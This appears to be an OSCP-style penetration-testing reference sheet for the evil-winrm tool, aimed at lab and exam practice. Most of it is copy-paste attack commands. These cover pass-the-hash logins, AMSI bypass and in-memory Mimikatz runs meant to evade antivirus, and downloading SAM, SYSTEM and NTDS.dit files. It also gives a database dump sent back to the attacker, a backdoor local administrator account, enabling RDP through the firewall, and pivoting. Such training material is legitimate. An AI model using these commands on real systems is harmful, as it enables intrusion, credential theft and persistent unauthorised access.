evil-winrm — WinRM Shell Reference
External: Internal All The Things — Pass the Hash
What is evil-winrm?
evil-winrm connects to Windows Remote Management (WinRM) and drops you into a full PowerShell session on the target. It supports credential-based auth, Pass-the-Hash with NT hashes, SSL/HTTPS, file transfer, remote script/DLL loading, and AMSI bypass — all from Linux.
OSCP relevance: Any time you have valid Windows credentials (or an NT hash), check port 5985/5986. If WinRM is open, evil-winrm gives you a stable, full-featured PowerShell shell instantly — far more reliable than many SMB-based shells.
📌 Prerequisites
WinRM must be enabled on the target (it is by default on Windows Server 2012+, and can be enabled on workstations):
Port 5985 → WinRM over HTTP (most common)
Port 5986 → WinRM over HTTPS (SSL)
The connecting user must be a member of the Administrators group or the Remote Management Users group.
📌 1) Installation
# Kali — apt (preferred)
sudo apt update && sudo apt install -y evil-winrm
# or gem
gem install evil-winrm
# Verify
evil-winrm --version
evil-winrm -hFull install index → Installation - Kali Setup
---
## 📌 2) All Flags
| Flag | Description |
| ---- | ----------- |
| `-i TARGET` | Target IP or hostname (**required**) |
| `-u USERNAME` | Username |
| `-p PASSWORD` | Password (plaintext) |
| `-H NT_HASH` | NT hash for Pass-the-Hash (no password needed) |
| `-P PORT` | Custom port (default: 5985) |
| `-S` | Enable SSL/HTTPS — use with port 5986 |
| `-c CERT` | Path to SSL client certificate (`.pem`) |
| `-k KEY` | Path to SSL private key (`.pem`) |
| `-r REALM` | Kerberos realm (for Kerberos auth) |
| `-s SCRIPTS_DIR` | Directory of local PowerShell `.ps1` scripts to load |
| `-e EXEC_DIR` | Directory of local executables to load into memory |
| `-l` | Log terminal output to a file |
| `-t TIMEOUT` | Connection timeout in seconds |
| `-D` | Disable colors |
| `--no-tty` | Disable TTY (for non-interactive use) |
| `-h` | Help |
---
## 📌 3) Connecting
### Password authentication
```bash
# Basic
evil-winrm -i 10.10.10.10 -u administrator -p 'Password123'
# Domain user
evil-winrm -i 10.10.10.10 -u 'DOMAIN\user' -p 'Password123'
evil-winrm -i 10.10.10.10 -u user -p 'Password123' # domain inferred from target
# Custom port
evil-winrm -i 10.10.10.10 -u admin -p 'Password123' -P 5986
# HTTPS (port 5986 — ignore self-signed cert warnings automatically)
evil-winrm -i 10.10.10.10 -u admin -p 'Password123' -S
Pass-the-Hash (NT hash only)
# Use NT hash directly — no plaintext password needed
evil-winrm -i 10.10.10.10 -u administrator -H aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c
# Just the NT portion (right side of :)
evil-winrm -i 10.10.10.10 -u administrator -H 8846f7eaee8fb117ad06bdd830b7586c
# Local admin with hash
evil-winrm -i 10.10.10.10 -u administrator -H NTHASHWhere to get NT hashes:
secretsdump/impacket-secretsdump→ dumps SAM/NTDSMimikatz→sekurlsa::logonpasswordsCrackMapExec→--sam,--lsa,--ntds
Kerberos authentication (ticket-based)
# Export a valid TGT/TGS first, then use it
export KRB5CCNAME=/tmp/user.ccache
evil-winrm -i dc.domain.local -r DOMAIN.LOCAL -u userexport KRB5CCNAME=user.ccache
evil-winrm -i dc.voleur.htb -r voleur.htb📌 4) In-Shell Commands (inside evil-winrm)
Once connected you get a PowerShell prompt: *Evil-WinRM* PS C:\Users\admin\Documents>
Navigation & info
# Who am I / what machine
whoami
whoami /priv
whoami /groups
hostname
ipconfig /all
systeminfo
net user
net localgroup administrators
# PowerShell version
$PSVersionTableFile transfer
# Upload from attacker to target
upload /home/kali/tools/winpeas.exe C:\Temp\winpeas.exe
upload /home/kali/tools/nc.exe # uploads to current dir
# Download from target to attacker
download C:\Temp\loot.txt /home/kali/loot.txt
download C:\Windows\NTDS\ntds.dit # downloads to current local dir
download C:\Windows\System32\config\SAM
download C:\Windows\System32\config\SYSTEMScript / executable loading
# Load a PowerShell script from the -s directory into memory
Invoke-Binary winpeas.exe
l # (alias) — list loaded scripts/executables
# Load and run a script that was loaded via -s flag
. .\PowerView.ps1
Get-NetUserAMSI Bypass
# Built-in AMSI bypass (run this before loading scripts that AV would flag)
Bypass-4MSI
# Or patch AMSI manually after getting shell
menu # shows all built-in evil-winrm functionsShell features menu
menu
# Shows all available built-in functions:
# Bypass-4MSI, Dll-Loader, Donut-Loader, Invoke-Binary, etc.📌 5) Loading PowerShell Scripts (-s flag)
Pre-load an entire directory of .ps1 scripts — they’re available immediately in the shell without uploading to disk.
# Put scripts in a local directory
ls ~/tools/ps-scripts/
# PowerView.ps1 PowerUp.ps1 Invoke-Mimikatz.ps1
# Connect and load them all
evil-winrm -i 10.10.10.10 -u admin -p password -s ~/tools/ps-scripts/# Inside the shell — tab-complete to find and run loaded scripts
PowerView.ps1 # loads the script into memory
Get-NetUser # now available
PowerUp.ps1
Invoke-AllChecks # runs PowerUp privilege escalation checksScripts loaded with
-sare never written to disk — they run in memory. This helps avoid AV detection.
📌 6) Loading Executables into Memory (-e flag)
# Local directory with executables
ls ~/tools/exes/
# winpeas.exe mimikatz.exe nc.exe
evil-winrm -i 10.10.10.10 -u admin -p password -e ~/tools/exes/# Inside the shell — run executable from memory (never touches disk)
Invoke-Binary winpeas.exe
Invoke-Binary mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"📌 7) Privilege Escalation from evil-winrm Shell
# Check privileges
whoami /priv
# If SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege → Potato attacks (see [[Potato Attacks]])
upload /home/kali/tools/GodPotato-NET4.exe C:\Temp\GodPotato.exe
.\GodPotato.exe -cmd "cmd /c whoami"
# If SeBackupPrivilege or SeRestorePrivilege (Backup Operators)
# Full execution — all methods: [[SeBackupPrivilege]]
# nxc -M backup_operator (Kali) · diskshadow · robocopy /b · DLLs · wbadmin · reg save
whoami /priv
# Quick on-box DC dump — see SeBackupPrivilege for full blocks
# diskshadow /s ine.txt → robocopy /b E:\Windows\NTDS . ntds.dit → reg save → download → secretsdump
# Run WinPEAS
upload /home/kali/tools/winpeas.exe C:\Temp\winpeas.exe
C:\Temp\winpeas.exe
# Run PowerUp (if loaded via -s)
PowerUp.ps1
Invoke-AllChecks
# Run Seatbelt (loaded via -e)
Invoke-Binary Seatbelt.exe -group=all📌 8) Post-Exploitation from evil-winrm Shell
# Credential harvesting
# Read files that might have creds
type C:\Users\user\Desktop\flag.txt
type C:\xampp\htdocs\config.php
# MySQL dump — **[[mysqldump - Windows XAMPP Database Exfiltration]]**
C:\xampp\mysql\bin\mysqldump.exe -u root --all-databases > db.sql
download db.sql /tmp/db.sql
# PowerShell history — **[[PowerShell History - PSReadLine]]**
(Get-PSReadlineOption).HistorySavePath
type $Env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
Get-ChildItem C:\ -Recurse -Include *.txt,*.ini,*.config,*.xml,*.ps1 -ErrorAction SilentlyContinue | Select-String -Pattern "password","pass","cred" -ErrorAction SilentlyContinue
# Dump local hashes (if admin)
upload impacket-secretsdump or use crackmapexec from attacker:
# On attacker: impacket-secretsdump administrator:password@10.10.10.10
# If Domain Admin — dump NTDS
upload /home/kali/tools/ntdsutil_commands.txt
# Or via CrackMapExec: crackmapexec smb DC_IP -u admin -p pass --ntds
# Add local admin user
net user hacker P@ssw0rd123! /add
net localgroup administrators hacker /add
# Enable RDP
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
netsh advfirewall firewall set rule group="remote desktop" new enable=yes📌 9) Checking if WinRM is Open / Who Can Connect
# From attacker — test if WinRM is up
curl -s http://10.10.10.10:5985/wsman # HTTP — empty 200 response = open
curl -sk https://10.10.10.10:5986/wsman # HTTPS
nmap -p 5985,5986 -sV 10.10.10.10
nmap -p 5985 --script http-auth-finder 10.10.10.10
# Test credentials first
crackmapexec winrm 10.10.10.10 -u admin -p password
netexec winrm 10.10.10.10 -u admin -p password
# Look for "(Pwn3d!)" → credentials valid + user is in Remote Management Users📌 10) Pivoting Through evil-winrm
When the WinRM host is on a pivot network:
# Via proxychains (after Chisel/Ligolo/SSH SOCKS is up)
proxychains evil-winrm -i 172.16.0.10 -u admin -p password
# Via SSH local port forward
ssh -L 5985:172.16.0.10:5985 pivot@10.10.10.10
evil-winrm -i 127.0.0.1 -u admin -p password
# Via Socat relay on pivot
# On pivot: socat TCP4-LISTEN:5985,fork TCP4:172.16.0.10:5985
evil-winrm -i PIVOT_IP -u admin -p password📌 Quick OSCP Cheat Sheet (Copy/Paste)
# ─── CHECK IF OPEN ────────────────────────────────────────────
nmap -p 5985,5986 -sV TARGET
curl -s http://TARGET:5985/wsman
# ─── VERIFY CREDS ─────────────────────────────────────────────
netexec winrm TARGET -u username -p 'password'
netexec winrm TARGET -u username -H NTHASH
# ─── CONNECT ──────────────────────────────────────────────────
evil-winrm -i TARGET -u username -p 'password'
evil-winrm -i TARGET -u administrator -H NTHASH
evil-winrm -i TARGET -u username -p 'password' -S # HTTPS/5986
# ─── CONNECT + LOAD TOOLS ─────────────────────────────────────
evil-winrm -i TARGET -u admin -p pass -s ~/tools/scripts/ -e ~/tools/exes/
# ─── IN-SHELL: FILE TRANSFER ──────────────────────────────────
upload /home/kali/winpeas.exe C:\Temp\winpeas.exe
download C:\Temp\loot.txt /home/kali/loot.txt
download C:\Windows\System32\config\SAM
download C:\Windows\System32\config\SYSTEM
# ─── IN-SHELL: AMSI BYPASS ────────────────────────────────────
Bypass-4MSI
# ─── IN-SHELL: RUN MEMORY-ONLY BINARY ────────────────────────
Invoke-Binary winpeas.exe
Invoke-Binary mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
# ─── VIA PROXY ────────────────────────────────────────────────
proxychains evil-winrm -i 172.16.0.10 -u admin -p password